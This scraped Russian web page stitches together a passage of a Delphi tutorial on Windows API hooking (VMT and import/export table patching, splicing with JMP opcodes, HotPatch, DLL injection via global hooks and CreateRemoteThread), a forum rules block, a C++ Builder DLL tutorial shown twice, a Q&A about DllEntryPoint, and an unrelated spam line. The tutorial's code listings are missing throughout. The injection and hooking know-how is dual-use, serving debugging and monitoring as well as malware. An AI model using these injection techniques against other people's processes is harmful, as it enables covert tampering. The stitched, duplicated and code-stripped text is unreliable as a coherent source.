К сожалению данный код будет работать только для окон нашего приложения. Ну точнее мы конечно можем получить хэндл окна из чужого приложения и назначить ему новый перехватчик таким же способом, как показано выше, но это не приведет ни к чему хорошему, т.к. в этом случае мы укажем адрес нового обработчика, который расположен в нашем адресном пространстве, а в чужом по этому адресу будет совершенно другой код (ну либо вообще данный участок памяти может быть не выделен) что может привести к скоропостижной кончине чужого процесса.

Чтобы такого не произошло, нужно каким либо образом разместить код перехватчика в чужом процессе и только после этого делать подмену. Делается это несколькими способами, но на них мы остановимся немного позднее…

4. Перехват правкой VMT таблицы.

В принципе это очень редко встречающийся вариант перехвата, но раз уж я решил рассказать о всех возможных способах, то его тоже придется рассмотреть.

Вероятно вы встречались с ситуациями когда поведение определенного элемента управления вас полностью устраивает, но вот немножко чего-то не хватает. Для решения проблемы обычно приходится писать наследника проблемного класса, в котором перекрывать соответствующие виртуальные методы, где писать желательное поведение контрола. Но если сильно уж лениво этого можно добиться и без реализации наследника, просто перекрыв необходимый метод снаружи.

В следующем примере я покажу как можно перекрыть метод TForm.CanResize который вызывается при изменении размеров формы. Задача кода, не дать изменить размеры формы по ширине больше чем 500 пикселей.

Конечно в этом примере целая куча минусов, во первых для достижения поставленной цели можно было перекрыть обработчик OnResize, во вторых, так как перекрывается CanResize от TForm, то эта модификация повлияет на все формы в проекте, но на то он и пример — его задача просто показать данную возможность.

Применение: Данный вариант перехвата может использоваться только для виртуальных методов классов, причем только в рамках собственного PE файла. Если данный код поместить в библиотеку и попробовать перехватить таким образом метод у основного приложения — ничего не выйдет, так как TForm приложения и TForm библиотеки это разные классы.

Код выглядит следующим образом:

1. Декларация обработчика перехвата выполнена с учетом нюансов, описанных в втором разделе данной статьи (появился параметр Self).

2. Для перехвата используется документированная директива VMTOFFSET, описанная в справке Delphi.

Вот кусочек с ее описанием:

Two additional directives allow assembly code to access dynamic and virtual method: VMTOFFSET and DMTINDEX.
VMTOFFSET retrives the offset in bytes of the virtual method pointer table entry of the virtual method argument from the beginning of the virtual method table (VMT). This directive needs a fully specified class name with a method name as a parameter, for example,TExample.VirtualMethod.

Как ясно из описания, ее задача вернуть смещение на адрес виртуального метода относительно начала таблицы виртуальных методов (VMT). На начало VMT таблицы указывает непосредственно параметр Self. То есть, если изобразить это в виде кода, то получится следующее:

3. После того как при помощи ассемблерной вставки получен указатель на адрес метода, производится его подмена на адрес нового обработчика виртуального метода.

4. Так как подмена производится в коде приложения, который обычно расположен в странице памяти у которой отсутствуют права на запись (обычно это права чтение и исполнение), то перед назначением нового обработчика выставляются права на запись.

Ну а теперь, запустите пример и проверьте его работу.

Как видите, по сути мы выполнили практически все те же шаги, что и в первом примере, т.е. получили адрес контролируемой функции, и заменили его на адрес нового обработчика, в котором происходит управление параметрами оригинального метода. Код для вызова оригинального обработчика (аналог inherited) я приводить не буду, т.к. все же данный метод перехвата показан только для расширения кругозора и крайне не желателен для реализации в боевом приложении.


Если у вас возникли затруднения с пониманием принципа правки VMT, то могу порекомендовать для чтения данную статью, за авторством Hallvard Vassbotn: Method calls compiler implementation.

Вариант с перехватом динамических методов класса я рассматривать не буду — но принцип примерно похож.

5. Перехват правкой таблицы импорта

Что такое таблица импорта. Когда вы пишете приложение и вызываете API функции приложение должно каким-то образом вычислить адрес данной функции, для того чтобы передать управление на нее. Большинство функций объявлены статически, ну для примера:

Здесь явно указывается полная декларация вызова функции MessageBox и соглашения о ее вызове. Данная информация требуется компилятору для правильного выравнивания стека при вызове функции. А так же указано имя библиотеки в которой функция реализована и имя, под которым она экспортируется.

Как видите адреса функции здесь нет, да и быть не может, ведь библиотека, экспортирующая функцию может быть подгружена по любому адресу и в большинстве случаев для каждого из процесса адрес одной и той же функции будет разным. Правда тут есть небольшой нюанс, библиотеки user32.dll, kernel32.dll и ntdll.dll грузятся для всех процессов по фиксированному адресу (по крайней мере в 32-битных системах) но все равно уповать на некий статический адрес не стоит.

При компиляции приложения, информация о статически объявленных функциях размещается в теле таблицы импорта. В момент запуска приложения загрузчик анализирует данную таблицу, подгружает указанные в ней библиотеки, на основании таблицы экспорта библиотеки узнает реальный адрес функции, который помещает в соответствующее поле таблицы импорта приложения.

Общее описание принципа работы таблицы импорта можно узнать из статьи Мэтта Питрека: Peering Inside the PE: A Tour of the Win32 Portable Executable File Format.
На RSDN доступен ее перевод: Форматы РЕ и COFF объектных файлов.
Если потребуется более подробная информация, можно изучить следующую статью: PE. Урок 6. Таблица импорта за авторством Iczelion-а.

Теперь, что можно сделать с этой информацией? Тут все просто, для назначения обработчика перехвата потребуется всего лишь изменить рассчитанный загрузчиком адрес на адрес обработчика, после чего перехват можно считать состоявшимся.

Применение: Данный вариант перехвата применяется только для API функций со статической линковкой.

Для поиска адреса оригинальной функции и его замены на адрес перехватчика напишем вот такую функцию:

Она производит правку таблицы импорта в теле текущего исполняемого файла, о чем говорит код получения базы образа GetModuleHandle(nil). Непосредственно установка адреса перехватчика выполнена атомарно, при помощи вызова InterlockedExchange. Это достаточно тонкий момент, впрочем о причинах именно такого способа изменения адреса перехватчика я остановлюсь немного позже.

Теперь осталось только написать пример вызова данной функции.

Создайте новый проект, разместите на главной форме кнопку, пропишите реализацию функции ReplaceIATEntry после чего добавьте следующий код:

Здесь конструктор формы устанавливает перехват функции MessageBoxA, а в обработчике кнопки производится вызов MessageBoxA, с целью продемонстрировать работу перехвата.

Сам обработчик перехвата очень простой. Так как была изменена всего лишь запись в таблице импорта и тело оригинальной функции не правилось, для передачи управления оригинальной функции достаточно произвести вызов по запомненному ранее адресу функции, который хранится в переменной OrigAddr.

Есть небольшой нюанс:
Статическая функция может располагаться в секции отложенного импорта. Делается такая декларация достаточно просто, давайте немного изменим код примера вот таким образом:

Функция DelayedMessageBoxA на самом деле является той же MessageBoxA.
Но параметр «delayed» производит регистрацию вызова данной функции в секции отложенного импорта.

Нюанс: параметр «delayed» не доступен в ранних версиях Delphi, поэтому в демопримерах к статье данный кусок кода вы не найдете.

Так как реализованный выше перехватчик производит изменения только в таблице импорта, вызов функции, объявленной таким образом, не будет им контролироваться. Для этого нужно произвести правки в IMAGE DIRECTORY_ENTRY DELAYED IMPORT.

Вариант правки таблицы отложенного импорта в статье не рассматривается, в принципе в нем нет ничего интересного, принцип такой же как и с обычным импортом, только используются немного разные структуры. (Если заинтересовались, то будем считать реализацию данного перехватчика вашим домашним заданием :).

6. Перехват правкой таблицы экспорта.

Правка таблицы импорта и отложенного импорта отлично подходит для статически объявленных функций, но не сработает против динамического объявления и вызова функции.

Если простым языком, попробуйте добавить к прошлому примеру еще одну кнопку и в ее обработчике напишите следующий код:

Нажмите кнопку и вы увидите что перехватчик не сработал. Дело в том что в этом виновата функция GetProcAddress, которая получает адрес функции в обход таблицы импорта, ориентируясь на таблицу экспорта библиотеки.

Чтобы заставить обработчик перехвата реагировать на функции, вызываемые выше показанным способом, нужно внести изменения непосредственно в таблицу экспорта требуемой библиотеки.

Вкратце в таблице экспорта содержится информация о экспортируемых PE файлом функциях, их наименование, индекс (Ordinal) и адрес функции. Некоторые функции экспортируются только по индексу и не имеют имени, в таких случаях доступ к ним производится только посредством индекса.

Общее описание работы таблицы экспорта вы можете узнать в той же статье Мэтта Питрека.
Если потребуется более подробная информация, можно изучить следующую статью:
PE. Урок 7. Таблица экспорта за авторством Iczelion-а.

Применение: Данный вариант перехвата применяется только для API функций вызываемых динамически.

Следующий пример практически ничем не отличается от предыдущего, за исключением минорных изменений в функции устанавливающей адрес перехватчика. Собственно сам код:

Как и в случае с правкой таблиц импорта тело функции не модифицируется, поэтому для передаче управления на оригинал так же достаточно произвести вызов по старому адресу.

7. Перехват сплайсингом точки входа функции.


Сплайсинг является самым эффективным способом установки перехвата. Он заключается в том, что в начале перехватываемой функции устанавливается асм-код перехода на обработчик перехвата размером в пять-шесть (и более) байт. В отличие от предыдущих вариантов установки перехватчика, данный метод может применяться в любых условиях. Им можно перехватывать статические, виртуальные и динамические методы классов, API функции, да в принципе вообще все что угодно :)

При использовании сплайсинга не имеет разницы как объявлена API функция, статически или вызывается динамически — это не важно, так как в любом случае установленный в начале тела функции код перехвата поймает ее вызов.

Правда это все плюсы данного метода, дальше начинаются минусы.

Во первых меняется тело функции и для того чтобы вызвать из обработчика перехвата оригинальную функцию нужно восстановить затертые байты в ее начале, а после окончания выполнения вернуть асм-код перехвата на место.

Во вторых, в тот момент, когда асм-код перехвата снят, контролируемая функция может быть вызвана из другой нити и этот вызов отследить не получится.

В третьих может произойти еще более плохая вещь — вызов контролируемой функции из другой нити может быть произведен в тот момент, когда мы изменяем заголовок функции восстанавливая или удаляя код перехвата. Запись пяти и более байт ни разу не атомарная операция, поэтому в некоторый момент времени вместо нормального кода в начале функции будет находится мусор. В итоге, в этом случае скорее всего произойдет крах нити, из которой был произведен вызов, т.к. вместо нормального асм-кода будет выполнен мусорный код.
В некоторых случаях такого поведения можно будет избежать, но об этом попозже.

Теперь немного о непосредственно асм-коде перехвата, а именно откуда он берется?
Запись асм-кода перехвата в начало инструкции не означает что вы будете писать туда строку «JMP 100» к примеру. Процессор ничего не знает об ассемблере, однако он знает о машинном коде. Поэтому после того как разработчик определится какую конкретно конструкцию перехватчика он будет использовать, ему нужно преобразовать ее в машинный код понятный процессору, который и будет помещаться в начало функции.
В действительности, хоть и звучит это достаточно сложно, выполнить это проще простого. Для этого пригодятся интеловские мануалы из которых можно узнать опкоды используемых в перехватчике инструкций при помощи которых сгенерировать необходимую последовательность. Я делаю еще проще, просто пишу требуемый мне код в асм-вставке и смотрю какой машкод в итоге сгенерировал мне компилятор.

Если не совсем понятно, то давайте рассмотрим несколько наиболее часто встречающихся вариантов перехватчиков.

1. JMP NEAR OFFSET
Пятибайтовая инструкция, первым байтом идет $E9, являющийся опкодом инструкции JMP NEAR rel32, остальные 4 являются параметром OFFSET.
OFFSET рассчитывается по следующей формуле: OFFSET = DestinationAddr — CurrentAddr — размер машкода инструкции
Где DestinationAddr — адрес обработчика перехвата
CurrentAddr — адрес по которому размещена инструкция JMP NEAR OFFSET

Что в виде кода выглядит так:

2. PUSH ADDR + RET
Шестибайтовая инструкция, первым байтом идет $68, являющийся опкодом инструкции PUSH imm32, следующие 4 байта являются параметром ADDR, означающим адрес, по которому должен быть произведен прыжок и последний шестой байт $C3, являющийся опкодом инструкции RET.
Вкратце работает эта связка инструкций просто. Первая инструкция PUSH помещает на стек адрес прыжка ADDR вторая инструкция RET совершает переход на указанный адрес попутно правя стек.

В виде кода выглядит примерно вот так:

Оба варианта в принципе имеют право на жизнь и достаточно часто используются. Но оба являются не безопасными.

Встречается еще и такой вариант перехватчика из двух инструкций: MOV EAX, ADDR + JMP EAX. Эта конструкция из семи байт является плохим решением, в случае если она применяется для перехвата функций использующих соглашение FASTCALL. Дело в том, что данное соглашение применяется в Delphi по умолчанию и его особенность в том, что первые три параметра функции размещаются в регистрах EAX, ECX и EDX. Применив такой тип перехватчика, параметр идущий в регистре EAX будет затерт. Поэтому данный вариант рассматривать я не буду.

Теперь по поводу безопасности применения таких перехватчиков. Вышеозвученные два варианта перехвата желательно использовать только в тех случаях, когда вы уверены в том, что перехватываемые вами функции не используют механизм HotPatch-а.

Дело в том, что ребята из Редмонда предусмотрели для нас небольшую лазейку, позволяющую сделать сплайсинг точки входа более безопасным. И таки-да, называется она «HotPatch» :)

Вкратце, если открыть любую библиотеку от MS в дизассемблере, то можно увидеть что тело каждой API функции предваряется пятью инструкциями NOP, а тело функции начинается с ничего не делающей инструкции MOV EDI, EDI (либо двубайтовой PUSH xxx)

Размер первых пяти инструкций как раз позволяет нам записать вместо них машкод инструкции JMP NEAR OFFSET. При этом в момент записи тело самой функции изменяться не будет. После записи данной инструкции мы можем атомарно изменить первые два байта функции, добавив вместо них двухбайтовый машкод инструкции JMP SHORT -7 представляющий из себя байты $EB и $F9.

Примерный код HotPach-а будет выглядеть следующим образом:

Для отключения такого перехватчика достаточно вернуть обратно самую первую двухбайтовую инструкцию и не нужно заботится об оставленных пяти байтах, в которых происходит прыжок на само тело перехватчика.

К сожалению для обычных функций выполнить перехват по методике HotPach-а не получится, так как у них отсутствуют требуемое пустое место предваряющее функцию. Для них подойдет какой-то из первых двух рассмотренных вариантов патча.

Но, если вы хотите чтобы ваши библиотеки так же были подготовлены к HotPatch-у то можете ознакомится с данной инструкцией: Create Hotpatchable Image правда это только для MS VC.

Все три примера перехвата являются примерным кодом. В них показан только момент установки перехватывающего кода. Для полноценной работы перехватчика нужно восстанавливать изначальный код оригинальной функции, который требуется перед установкой перехватчика где-то сохранить.

Сейчас я покажу перехват первым способом. Для этого нам потребуется создать новый проект, разместить на главной форме кнопку после чего написать следующий код:

Для хранения информации о затертых кодом перехвата байтах используется структура TNearJmpSpliceRec. Эта же структура используется для хранения машкодов кода перехвата.
Общая информация о установленном перехвате хранится в структуре TNearJmpSpliceData, где помимо двух полей о оригинальных данных функции и перехватчике так же хранится адрес функции.

Первоначально в процедуре InitNearJmpSpliceRec данная структура инициализируется, после чего при помощи процедуры SpliceNearJmp устанавливается код перехвата.

При нажатии на кнопку происходит вызов обработчика перехвата InterceptedMessageBoxA в котором для того чтобы произвести вызов оригинальной функции перехватчик снимается и восстанавливается после вызова.

Если делать перехват вторым способом, при помощи PUSH ADDR + RET то нужно немного изменить описание структуры TNearJmpSpliceRec и процедуры инициализации структкры InitNearJmpSpliceRec, все остальное останется прежним.

Ну а вот так будет выглядеть код перехвата третьим способом (через HotPatch).
Его я буду использовать в следующих двух главах, потому чтобы не повторятся, вынесу его в отдельный модуль.

Использование данного модуля в приложении самое тривиальное:

Второй код оставлю без объяснений, т.к. отличия от предыдущего варианта перехвата минимальны.


8. Внедрение библиотеки через установку ловушки.

Все что было описано выше относилось к перехвату в локальном приложении, но как правильно разработчику требуется осуществить перехват в чужом процессе.

Разместить перехватчик в теле чужого процесса можно несколькими способами, от самого сложного — выделив требуемый блок памяти через VirtualAllocEx и записью в него кода перехватчика (его я рассматривать не буду), до более простых вариантов, через подгрузку библиотеки.

Самый простой способ внедрения перехватчика, это размещение кода перехватчика в теле библиотеки, подгружаемой в чужое адресное пространство установленной глобальной ловушкой.

Код загрузчика библиотеки выглядит так:

Как только выполнится функция SetWindowsHookEx будет установлена глобальная ловушка, обработчик которой расположен в библиотеке hook_splice_lib.dll. Данная библиотека будет автоматически подгружена во все процессы работающие с очередью сообщений посредством вызова функций GetMessage или PeekMessage.

Код библиотеки практически один в один повторяет один из выше приведенных примеров перехвата:

Отличия минимальны. В теле библиотеки, помимо самого кода перехвата реализована функция обработчика ловушки HookProc, которая не делает ничего кроме вызова следующей ловушки в очереди. Она нужна только для корректной работы ловушки WH_GETMESSAGE.

Установка перехватчика производится в DLLEntryPoint при получении уведомления о загрузке DLL_PROCESS_ATTACH, при получении уведомления о выгрузке DLL_PROCESS_DETACH перехватчик снимается.

Немного остановлюсь на коде перекрытия DLLProc. По сути перекрытие данной процедуры предназначено только для одного, для получения уведомления DLL_PROCESS_DETACH. Дело в том, что когда наш код получает управление, уведомление DLL_PROCESS_ATTACH уже было передано библиотеке и было обработано внутри DLLProc. Вызов DLLEntryPoint(DLL_PROCESS_ATTACH) по сути просто дублирует уже полученный вызов. А вот когда библиотека будет выгружаться, DLLProc уже изменена на наш обработчик DLLEntryPoint и уведомление о выгрузке придет именно в него, где мы сможем произвести необходимые действия для деинициализации перехватчика.

9. Внедрение библиотеки через создание нити в удаленном процессе.

Внедрение библиотеки глобально во все процессы часто не оправдано. Если мы хотим перехватить определенное АПИ в конкретном процессе, не имеет смысла отвлекаться на другие. Более того в некоторых случаях, не смотря на установленную ловушку, библиотека может быть не подгружена в требуемый процесс, по причине того что в нем не выполняются необходимые для срабатывания ловушки действия. В качестве примера давайте рассмотрим вот такое консольное приложение:

Консольное приложение обычно не работает с очередью сообщений и как правило не использует вызовы функций GetMessage или PeekMessage, поэтому при показе первого сообщения оно не будет перехвачено.

Но, не смотря на это, второе сообщение, все же будет перехвачено установленной ловушкой. Дело в том что для отображения самого первого MessageBox (впрочем как и любого другого) все же используется очередь сообщений (ибо по сути происходит отображение модального окна) и наша библиотека будет загружена при его показе, чем и объясняется перехват второго вызова MessageBox.

Чтобы избежать такого поведения (невозможность перехвата первого вызова MessageBox в консоли), можно подгрузить библиотеку принудительно, зная идентификатор процесса (PID).

Библиотека с перехватчиком останется практически такой же как и предыдущая, единственным изменением в ней будет то, что вместо обработчика ловушки HookProc в ней будет реализована функция выгрузки библиотеки следующего вида:

Внедрение библиотеки делается следующим кодом:

Принцип данного метода был описан еще у Рихтера, поэтому на нем останавливаться не буду.
А для выгрузки необходимо реализовать следующий код:

Здесь иcпользуется один недокументированный механизм, работающий в линейках от Windows 2000 до Windows 7 (на восьмерке не проверял, но по логике и там будет то же самое). Дело в том что значение, передаваемое в параметре lpParameter функции CreateRemoteThread всегда размещается в регистре EBX при старте нити в удаленном приложении. Задача данного кода разместить в удаленном процессе инструкцию JMP [EBX] с которой будет начинаться работа нити. Если в EBX будет находится адрес процедуры SelfUnload, произойдет передача управления на нее, ну а внутри данной процедуры уже реализован код выгрузки библиотеки и закрытия текущей нити.

Можно конечно стартовать механизм выгрузки сразу непосредственно с функции SelfUnload, но уж очень хотелось показать данный момент, поэтому не ругайте сильно :)

10. Мониторинг

С практической частью будем считать закончили, теперь капельку теоретической.
На вопрос как правильно производить лог вызова перехваченных функций общего ответа, конечно же нет, но есть общие рекомендации.

Прежде всего необходимо определится с тем, какие именно параметры мы собираемся логировать и разбить их по следующим группам.

  • Входящие параметры всегда логируются до вызова оригинальной функции в перехватчике.
  • Исходящие параметры всегда логируются после вызова оригинальной перехваченной функции.
  • Если параметр объявлен как IN/OUT — производим двойное логирование.

Не знаю почему, но у моих «студентов» был затык именно на данном аспекте, постоянно путали порядок ведения лога, вызывая его до вызова ReadFile и удивлялись отсутствию буфера с данными.

Ну и еще немножко по первому пункту — всеж таки всегда логируйте входящие данные до вызова функции, иначе однажды столкнетесь с тем, что буфер, переданный на WriteFile придет немножко измененный драйвером, обработавшим данный вызов.

11. Резюмируя

На этом пожалуй стоит закончить с описанием методик перехвата. Да их собственно практически и не осталось. Описывать методики перехвата в ядре я не вижу смысла — т.к. это уже будет статья не для сообщества Delphi, как и рассматривать трюки с перехватом на переполнении я тоже не буду, т.к. слишком долго объяснять сам принцип почему и как «это сработало».

Единственный не рассмотренный нюанс остался с перехватом при использовании HotPatch, а именно: не всегда нужно снимать перехватчик, можно обойтись и без лишних телодвижений.
Но, к сожалению, я не успел подготовить демонстрационные приложения, описывающий данный нюанс целиком, да и излишне раздувать объем материала не хотелось, поэтому этот момент я рассмотрю во второй части статьи.

Собственно это все что я хотел рассказать по данной теме, как применять эти знания решать уже вам. Да, конечно я понимаю что данную информацию можно применить и при разработке различных вредоносных вещей, но ее так же можно использовать и для более полезного софта. В частности я обычно пользуюсь перехватом для такой тривиальной задачи, как анализ трафика, проходящего через браузер. Зачем платить сотни долларов за софт, осуществляющий такой же функционал, когда можно это реализовать самому в свободное время?

Примеры к статье можно забрать по данной ссылке


Александр (Rouse_) Багель
Январь, 2013

Использование dllentrypoint

Пожалуйста, выделяйте текст программы тегом [сode=pas] . [/сode] . Для этого используйте кнопку [code=pas] в форме ответа или комбобокс, если нужно вставить код на языке, отличном от Дельфи/Паскаля.

Соблюдайте общие правила форума

Следующие вопросы задаются очень часто, подробно разобраны в FAQ и, поэтому, будут безжалостно удаляться:
1. Преобразовать переменную типа String в тип PChar (PAnsiChar)
2. Как «свернуть» программу в трей.
3. Как «скрыться» от Ctrl + Alt + Del (заблокировать их и т.п.)
4. Как запустить программу/файл? (и дождаться ее завершения)
5. Как перехватить API-функции, поставить hook? (перехват сообщений от мыши, клавиатуры — внедрение в удаленное адресное прстранство)
. (продолжение следует) .
Внимание:
Попытки открытия обсуждений реализации вредоносного ПО, включая различные интерпретации спам-ботов, наказывается предупреждением на 30 дней.
Повторная попытка — 60 дней. Последующие попытки — бан.
Мат в разделе — бан на три месяца.
Полезные ссылки:
MSDN Library FAQ раздела Поиск по разделу Как правильно задавать вопросы

Выразить свое отношение к модераторам раздела можно здесь: Rouse_, Krid

Создание DLL в среде C++ Builder, статическая линковка

Written on 30 Декабря 2006 .

Тема достаточно важная, так как при разработке больших проектов код обычно вырастает настолько, что приходится его для повышения надежности раскидывать по разным файлам. Вообще строго говоря для этого есть несколько вариантов — можно использовать библиотеки статической линковки *.lib, использовать *.dll в опять-таки статической или же динамической линковке. Надо сказать, что DLL — библиотека, в основе которой лежит принцип динамической связи в любом случае. Но! При использовании способа, который будет описан ниже все заботы по загрузке, выгрузке и импорте функций из DLL берет на себя C++ Builder.

Для примера создаем тестовое приложение, к нему в проектную группу добавляем «DLL Wizard». Опции этого окна таковы:

  • Source type — соответственно тип исходного кода — C или C++.
  • Use VCL — подключает библиотеки VCL. Внешне это выражается тем, что в файле исходного кода сверху появляется строчка #include .
  • Use CLX — соответственно подключает кроссплатформенные библиотеки CLX.
  • Multi threaded — разрешает сосуществование нескоьких потоков в одном приложении.
  • VC++ Style DLL — чисто семантическая опция. Как известно, в стандарте WinAPI и VCL входной точкой программы компилируется функция с идентификатором DLLEntryPoint. В стандарте же VC++ таковой является функция с именем DLLMain.

В общем создали мы проект. Смотрим. Первым делом в глаза бросается обширный комментарий, общий смысл которого заключается в том, что при использовании функций, которые экспортируют описания функций, среди параметров которых встречается AnsiString, исходник приложения, которое использует такое DLL, должен быть скомпилирован с использованием библиотеки MEMMGR.LIB. Ну мы особо выкаблучиваться не будем, и строковые параметры будем передавать как char*. Обратите внимание, что ничто не запрещает использование строк AnsiString внутри кода DLL. Не забудьте только прокомпилировать проект в режиме Release и со снятой галочкой Use Dynamic RTL.

Так вот. Продолжаем. Пишем код какой-нибудь функции и какой-нибудь завалящий класс в наш юнит. Обратите внимание, что заголовочный файл по умолчанию не создается, посему при открытии Open Source/Header File нам предлагается создать новый файл. Что мы и делаем, а затем сохраняем его под расширением *.h. Соответственно имеем исходники:

Комментарий я с Вашего позволения выкинул. Теперь по поводу заголовочного файла. Все экспортируемые функции при сборке должны иметь спецификатор _export или __declspec(dllexport), а импортируемые _import или __declspec(dllimport). То есть если файл заголовка используется самим DLL, то перед функциями должен стоять один из пары первых спецификаторов, а если использующим DLL приложением, то один из пары вторых. Проще всегод это сделать так:

Теперь собираем приложение, присоединяем получившийся *.lib файл к проекту приложения, добавлям:

. в главный файл, собираем, запускаем и пробуем.

Почему бы не вызвать DllEntryPoint в C++ Builder?

Я создал проект DLL в студии RAD Seatle C++ Builder, и я установил флажок, который «связывается с пакетами времени исполнения» и добавлен в «Параметры проекта» → C++. Linker → Дополнительные параметры «midas.lib»,

«Библиотеки импорта пакетов Runtime» проекта DLL подобны этому.

adortl; appanalytics; bcbie; bcbsmp; bindcomp; bindcompdbx; bindcompfmx; bindcompvcl; bindengine; CloudService; compont1; compont4; CustomIPTransport; DataSnapClient; DataSnapCommon; DataSnapConnectors; DatasnapConnectorsFreePascal; DataSnapFireDAC; DataSnapIndy10ServerTransport; DataSnapNativeClient; DataSnapProviderClient; DataSnapServer; DataSnapServerMidas; DBEXPRESS; dbrtl; dbxcds; DbxClientDriver; DbxCommonDriver; DBXDb2Driver; DBXFirebirdDriver; DBXInformixDriver; DBXInterBaseDriver; DBXMSSQLDriver; DBXMySQLDriver; DBXOdbcDriver; DBXOracleDriver; DBXSqliteDriver; DBXSybaseASADriver; DBXSybaseASEDriver; dsnap; dsnapcon; dsnapxml; emsclient; emsclientfiredac; FireDAC; FireDACADSDriver; FireDACASADriver; FireDACCommon; FireDACCommonDriver; FireDACDb2Driver; FireDACDBXDriver; FireDACDSDriver; FireDACIBDriver; FireDACInfxDriver; FireDACMongoDBDriver; FireDACMSAccDriver; FireDACMSSQLDriver; FireDACMySQLDriver; FireDACODBCDriver; FireDACOracleDriver; FireDACPgDriver; FireDACSqliteDriver; FireDACTDataDriver; FMX; fmxase; fmxdae; fmxFireDAC; fmxobj; FMXT эи; FmxTeeUI; GifImagePack; ibmonitor; ibxbindings; ibxpress; IndyCore; IndyIPClient; IndyIPCommon; IndyIPServer; IndyProtocols; IndySystem; инет; inetdb; inetdbxpress; IntraWeb; упаковке5; RESTBackendComponents; RESTComponents; РТЛ; soapmidas; soaprtl; SoapServer; СВН; Тройник; TeeDB; TeeUI; прикрепление; TGrfButton; Utils; VCL; vclactnband; vcldb; vcldsnap; vclFireDAC; vclib; vclie; vclimg; VCLRESTComponents; vclribbon; VclSmp; vcltouch; vclwinx; VCLX; xmlrtl

Я загружаю эту DLL в EXE, как это.

Когда я отлаживаю DLL, метод DllEntryPoint не вызывается.

Создание DLL в среде C++ Builder, статическая линковка

Тема достаточно важная, так как при разработке больших проектов код обычно вырастает настолько, что приходится его для повышения надежности раскидывать по разным файлам. Вообще строго говоря для этого есть несколько вариантов — можно использовать библиотеки статической линковки *.lib, использовать *.dll в опять-таки статической или же динамической линковке. Надо сказать, что DLL — библиотека, в основе которой лежит принцип динамической связи в любом случае. Но! При использовании способа, который будет описан ниже все заботы по загрузке, выгрузке и импорте функций из DLL берет на себя C++ Builder.

Для примера создаем тестовое приложение, к нему в проектную группу добавляем «DLL Wizard». Опции этого окна таковы:

  • Source type — соответственно тип исходного кода — C или C++.
  • Use VCL — подключает библиотеки VCL. Внешне это выражается тем, что в файле исходного кода сверху появляется строчка #include .
  • Use CLX — соответственно подключает кроссплатформенные библиотеки CLX.
  • Multi threaded — разрешает сосуществование нескоьких потоков в одном приложении.
  • VC++ Style DLL — чисто семантическая опция. Как известно, в стандарте WinAPI и VCL входной точкой программы компилируется функция с идентификатором DLLEntryPoint. В стандарте же VC++ таковой является функция с именем DLLMain.

В общем создали мы проект. Смотрим. Первым делом в глаза бросается обширный комментарий, общий смысл которого заключается в том, что при использовании функций, которые экспортируют описания функций, среди параметров которых встречается AnsiString, исходник приложения, которое использует такое DLL, должен быть скомпилирован с использованием библиотеки MEMMGR.LIB. Ну мы особо выкаблучиваться не будем, и строковые параметры будем передавать как char*. Обратите внимание, что ничто не запрещает использование строк AnsiString внутри кода DLL. Не забудьте только прокомпилировать проект в режиме Release и со снятой галочкой Use Dynamic RTL.

Так вот. Продолжаем. Пишем код какой-нибудь функции и какой-нибудь завалящий класс в наш юнит. Обратите внимание, что заголовочный файл по умолчанию не создается, посему при открытии Open Source/Header File нам предлагается создать новый файл. Что мы и делаем, а затем сохраняем его под расширением *.h. Соответственно имеем исходники:

Комментарий я с Вашего позволения выкинул. Теперь по поводу заголовочного файла. Все экспортируемые функции при сборке должны иметь спецификатор _export или __declspec(dllexport), а импортируемые _import или __declspec(dllimport). То есть если файл заголовка используется самим DLL, то перед функциями должен стоять один из пары первых спецификаторов, а если использующим DLL приложением, то один из пары вторых. Проще всегод это сделать так:

Теперь собираем приложение, присоединяем получившийся *.lib файл к проекту приложения, добавлям:

. в главный файл, собираем, запускаем и пробуем.

Илон Маск рекомендует:  Почтовый робот и cron как выполнять регулярные действия в php
Понравилась статья? Поделиться с друзьями:
Кодинг, CSS и SQL